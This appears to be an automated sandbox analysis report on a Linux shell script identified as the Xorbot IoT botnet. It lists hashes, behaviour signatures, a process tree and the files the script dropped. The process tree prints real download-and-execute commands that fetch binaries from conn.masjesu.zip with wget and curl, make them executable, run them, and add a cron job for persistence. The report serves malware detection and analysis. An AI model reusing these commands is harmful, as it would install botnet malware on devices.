Analysis

  • max time kernel
    150s
  • max time network
    151s
  • platform
    debian-9_mips
  • resource
    debian9-mipsbe-20240418-en
  • resource tags

    arch:mipsimage:debian9-mipsbe-20240418-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
  • submitted
    14/12/2024, 06:10

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    8c4ec26a71dae92228b8752a76ff0807

  • SHA1

    b9b1cfe562af1adccbb35db7cb16739b1a7260bc

  • SHA256

    46d7518b34c288f55ae7580966a9d006982a8bba5cde44d3fec36f917b7faf13

  • SHA512

    798ac5b1af0513a8d1335e65885797c8cf3dc30537c9d544cd97142a1154989f4cbbb2c6cce77ccbe9b2c5585a22112e786ca1d9cedf78f92b8053f70472e901

  • SSDEEP

    192:MljeI+XjC5RwL7KptMFAXjC5RUL7Kpt+M:MljeI2l

Malware Config

Signatures

  • Detects Xorbot 3 IoCs
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

  • Xorbot family
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Contacts a large (1971) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 7 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 5 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 22 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 15 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:702
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:706
        • /usr/bin/wget
          wget http://conn.masjesu.zip/bins/6noHu3UYjmAPvvHCbv6nco3g73jlVn9a9U
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:711
        • /usr/bin/curl
          curl -O http://conn.masjesu.zip/bins/6noHu3UYjmAPvvHCbv6nco3g73jlVn9a9U
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:723
        • /bin/busybox
          /bin/busybox wget http://conn.masjesu.zip/bins/6noHu3UYjmAPvvHCbv6nco3g73jlVn9a9U
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:731
        • /bin/chmod
          chmod 777 6noHu3UYjmAPvvHCbv6nco3g73jlVn9a9U
          2⤵
          • File and Directory Permissions Modification
          PID:733
        • /tmp/6noHu3UYjmAPvvHCbv6nco3g73jlVn9a9U
          ./6noHu3UYjmAPvvHCbv6nco3g73jlVn9a9U
          2⤵
          • Executes dropped EXE
          PID:734
        • /bin/rm
          rm 6noHu3UYjmAPvvHCbv6nco3g73jlVn9a9U
          2⤵
            PID:737
          • /usr/bin/wget
            wget http://conn.masjesu.zip/bins/fQQjz1w47ZHB8xYSkHoeG7nVXBkM2hDb65
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:738
          • /usr/bin/curl
            curl -O http://conn.masjesu.zip/bins/fQQjz1w47ZHB8xYSkHoeG7nVXBkM2hDb65
            2⤵
            • Reads runtime system information
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:739
          • /bin/busybox
            /bin/busybox wget http://conn.masjesu.zip/bins/fQQjz1w47ZHB8xYSkHoeG7nVXBkM2hDb65
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:741
          • /bin/chmod
            chmod 777 fQQjz1w47ZHB8xYSkHoeG7nVXBkM2hDb65
            2⤵
            • File and Directory Permissions Modification
            PID:742
          • /tmp/fQQjz1w47ZHB8xYSkHoeG7nVXBkM2hDb65
            ./fQQjz1w47ZHB8xYSkHoeG7nVXBkM2hDb65
            2⤵
            • Executes dropped EXE
            PID:743
          • /bin/rm
            rm fQQjz1w47ZHB8xYSkHoeG7nVXBkM2hDb65
            2⤵
              PID:745
            • /usr/bin/wget
              wget http://conn.masjesu.zip/bins/ZSG6MPunQuS3FSzXAsBHXHqqA4eLFxKKTP
              2⤵
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:746
            • /usr/bin/curl
              curl -O http://conn.masjesu.zip/bins/ZSG6MPunQuS3FSzXAsBHXHqqA4eLFxKKTP
              2⤵
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:747
            • /bin/busybox
              /bin/busybox wget http://conn.masjesu.zip/bins/ZSG6MPunQuS3FSzXAsBHXHqqA4eLFxKKTP
              2⤵
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:759
            • /bin/chmod
              chmod 777 ZSG6MPunQuS3FSzXAsBHXHqqA4eLFxKKTP
              2⤵
              • File and Directory Permissions Modification
              PID:762
            • /tmp/ZSG6MPunQuS3FSzXAsBHXHqqA4eLFxKKTP
              ./ZSG6MPunQuS3FSzXAsBHXHqqA4eLFxKKTP
              2⤵
              • Executes dropped EXE
              PID:764
            • /bin/rm
              rm ZSG6MPunQuS3FSzXAsBHXHqqA4eLFxKKTP
              2⤵
                PID:767
              • /usr/bin/wget
                wget http://conn.masjesu.zip/bins/2RbMVddYSuvhL5Cnj6tSEyfutLXtDvKI6W
                2⤵
                • System Network Configuration Discovery
                • Writes file to tmp directory
                PID:768
              • /usr/bin/curl
                curl -O http://conn.masjesu.zip/bins/2RbMVddYSuvhL5Cnj6tSEyfutLXtDvKI6W
                2⤵
                • System Network Configuration Discovery
                • Writes file to tmp directory
                PID:777
              • /bin/busybox
                /bin/busybox wget http://conn.masjesu.zip/bins/2RbMVddYSuvhL5Cnj6tSEyfutLXtDvKI6W
                2⤵
                • System Network Configuration Discovery
                • Writes file to tmp directory
                PID:789
              • /bin/chmod
                chmod 777 2RbMVddYSuvhL5Cnj6tSEyfutLXtDvKI6W
                2⤵
                • File and Directory Permissions Modification
                PID:794
              • /tmp/2RbMVddYSuvhL5Cnj6tSEyfutLXtDvKI6W
                ./2RbMVddYSuvhL5Cnj6tSEyfutLXtDvKI6W
                2⤵
                • Executes dropped EXE
                PID:796
              • /bin/rm
                rm 2RbMVddYSuvhL5Cnj6tSEyfutLXtDvKI6W
                2⤵
                  PID:799
                • /usr/bin/wget
                  wget http://conn.masjesu.zip/bins/X90EmQvgYJNdpVP8BtRwfMTGqZWqh3ppYw
                  2⤵
                  • System Network Configuration Discovery
                  • Writes file to tmp directory
                  PID:800
                • /usr/bin/curl
                  curl -O http://conn.masjesu.zip/bins/X90EmQvgYJNdpVP8BtRwfMTGqZWqh3ppYw
                  2⤵
                  • System Network Configuration Discovery
                  • Writes file to tmp directory
                  PID:807
                • /bin/busybox
                  /bin/busybox wget http://conn.masjesu.zip/bins/X90EmQvgYJNdpVP8BtRwfMTGqZWqh3ppYw
                  2⤵
                  • System Network Configuration Discovery
                  • Writes file to tmp directory
                  PID:810
                • /bin/chmod
                  chmod 777 X90EmQvgYJNdpVP8BtRwfMTGqZWqh3ppYw
                  2⤵
                  • File and Directory Permissions Modification
                  PID:811
                • /tmp/X90EmQvgYJNdpVP8BtRwfMTGqZWqh3ppYw
                  ./X90EmQvgYJNdpVP8BtRwfMTGqZWqh3ppYw
                  2⤵
                  • Executes dropped EXE
                  • Renames itself
                  • Reads runtime system information
                  PID:812
                  • /bin/sh
                    sh -c "crontab -l"
                    3⤵
                      PID:814
                      • /usr/bin/crontab
                        crontab -l
                        4⤵
                        • Reads runtime system information
                        PID:815
                    • /bin/sh
                      sh -c "crontab -"
                      3⤵
                        PID:816
                        • /usr/bin/crontab
                          crontab -
                          4⤵
                          • Creates/modifies Cron job
                          PID:817
                    • /bin/rm
                      rm X90EmQvgYJNdpVP8BtRwfMTGqZWqh3ppYw
                      2⤵
                        PID:819
                      • /usr/bin/wget
                        wget http://conn.masjesu.zip/bins/lBK5R4W2HYKtDZF0xRXBWp7w75fW7WUIvm
                        2⤵
                        • System Network Configuration Discovery
                        PID:867
                      • /usr/bin/curl
                        curl -O http://conn.masjesu.zip/bins/lBK5R4W2HYKtDZF0xRXBWp7w75fW7WUIvm
                        2⤵
                        • System Network Configuration Discovery
                        PID:903
                      • /bin/busybox
                        /bin/busybox wget http://conn.masjesu.zip/bins/lBK5R4W2HYKtDZF0xRXBWp7w75fW7WUIvm
                        2⤵
                        • System Network Configuration Discovery
                        PID:905
                      • /bin/chmod
                        chmod 777 lBK5R4W2HYKtDZF0xRXBWp7w75fW7WUIvm
                        2⤵
                        • File and Directory Permissions Modification
                        PID:906
                      • /tmp/lBK5R4W2HYKtDZF0xRXBWp7w75fW7WUIvm
                        ./lBK5R4W2HYKtDZF0xRXBWp7w75fW7WUIvm
                        2⤵
                          PID:907
                        • /bin/rm
                          rm lBK5R4W2HYKtDZF0xRXBWp7w75fW7WUIvm
                          2⤵
                            PID:908
                          • /usr/bin/wget
                            wget http://conn.masjesu.zip/bins/uA5X6ehQIRgSuhOwBNZXkdHiNs9HaUScuo
                            2⤵
                            • System Network Configuration Discovery
                            PID:909
                          • /usr/bin/curl
                            curl -O http://conn.masjesu.zip/bins/uA5X6ehQIRgSuhOwBNZXkdHiNs9HaUScuo
                            2⤵
                            • System Network Configuration Discovery
                            PID:910
                          • /bin/busybox
                            /bin/busybox wget http://conn.masjesu.zip/bins/uA5X6ehQIRgSuhOwBNZXkdHiNs9HaUScuo
                            2⤵
                            • System Network Configuration Discovery
                            PID:911
                          • /bin/chmod
                            chmod 777 uA5X6ehQIRgSuhOwBNZXkdHiNs9HaUScuo
                            2⤵
                            • File and Directory Permissions Modification
                            PID:912
                          • /tmp/uA5X6ehQIRgSuhOwBNZXkdHiNs9HaUScuo
                            ./uA5X6ehQIRgSuhOwBNZXkdHiNs9HaUScuo
                            2⤵
                              PID:915
                            • /bin/rm
                              rm uA5X6ehQIRgSuhOwBNZXkdHiNs9HaUScuo
                              2⤵
                                PID:917
                              • /usr/bin/wget
                                wget http://conn.masjesu.zip/bins/ENR7L0WNG1ZoXOqLjIhRMMXkSxNylGGUlV
                                2⤵
                                • System Network Configuration Discovery
                                PID:919

                            Network

                            MITRE ATT&CK Enterprise v15

                            Replay Monitor

                            Loading Replay Monitor...

                            Downloads

                            • /tmp/2RbMVddYSuvhL5Cnj6tSEyfutLXtDvKI6W

                              Filesize

                              99KB

                              MD5

                              9438d9bc392bcf300a5583b6df5bc8f6

                              SHA1

                              375a6ae34b516f6f3eeea8030c4084f585017efa

                              SHA256

                              68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e

                              SHA512

                              1f3e4219359a28c0f6373c0369da2b5dc0e89789afb89664627d8d9e37d4b72da36322b4015491d7daa03e46dff07d39f00dca18f274e9623dab0ff2d869c860

                            • /tmp/6noHu3UYjmAPvvHCbv6nco3g73jlVn9a9U

                              Filesize

                              177KB

                              MD5

                              786d75a158fe731feca3880f436082c0

                              SHA1

                              79ea2734e43d00cdeabed5586b2c1994d02aef3e

                              SHA256

                              5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18

                              SHA512

                              7984ebc874563267570f828ee158e4860971e184900e3590ac3b4829285443e065dd1ad4df190ceabf575880a4cd8ead4dd1132e9c1650239accf3f6440a3f7f

                            • /tmp/X90EmQvgYJNdpVP8BtRwfMTGqZWqh3ppYw

                              Filesize

                              151KB

                              MD5

                              3c90d5820bddcf7c5d1bd21dfa49d958

                              SHA1

                              5ba05bd489e50af97d6dc45e3a0be60e494d5083

                              SHA256

                              bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

                              SHA512

                              54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

                            • /tmp/ZSG6MPunQuS3FSzXAsBHXHqqA4eLFxKKTP

                              Filesize

                              111KB

                              MD5

                              701e7a55a4f3650f5feee92a9860e5fc

                              SHA1

                              6ce4a7f0dc80fe557a0ace4de25e6305af221ed4

                              SHA256

                              ff851250b0bd7e6f2c445b08d858d840b554caf75a37ada2a970ea4d317ba588

                              SHA512

                              7352517b4af3b0cfe1cc814accf18e6254532f33dee274279bd499b6748aa0ed044c9429d6df0eb07ff0292cd0f9388ce44d278e0c562e6e57110b28a66a5f11

                            • /tmp/fQQjz1w47ZHB8xYSkHoeG7nVXBkM2hDb65

                              Filesize

                              119KB

                              MD5

                              1b166b95f9cb4b079ef1b9ec8363ddf3

                              SHA1

                              0d8eb08add467b3b5474f9b25909297fe7c2839c

                              SHA256

                              94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9

                              SHA512

                              983ae0f399df2a6cf1dd48ba09098964c5dcb55b8bd049bce8e9c2c15dd88336642da64908d93221247a64ce987950b05042b0fac8474b179f0b1f7f0aca6925

                            • /var/spool/cron/crontabs/tmp.t9z1Sp

                              Filesize

                              210B

                              MD5

                              d3645bd1dddc85a9f83a2e0f16a2926e

                              SHA1

                              400652dcc406ace64ad82b3f61353c4619b35764

                              SHA256

                              b85c01eb038f9d28b48b66dd5ba5d4d2f334ff29c6724660d1e05ffba55a064e

                              SHA512

                              1a01056527788308101d80583bce997cd94d9eb6e84fdb6a834617989c3e7d643759264c3cc3b19100042c7bd5672cabc721259c8ed8d32094242dc6788a533e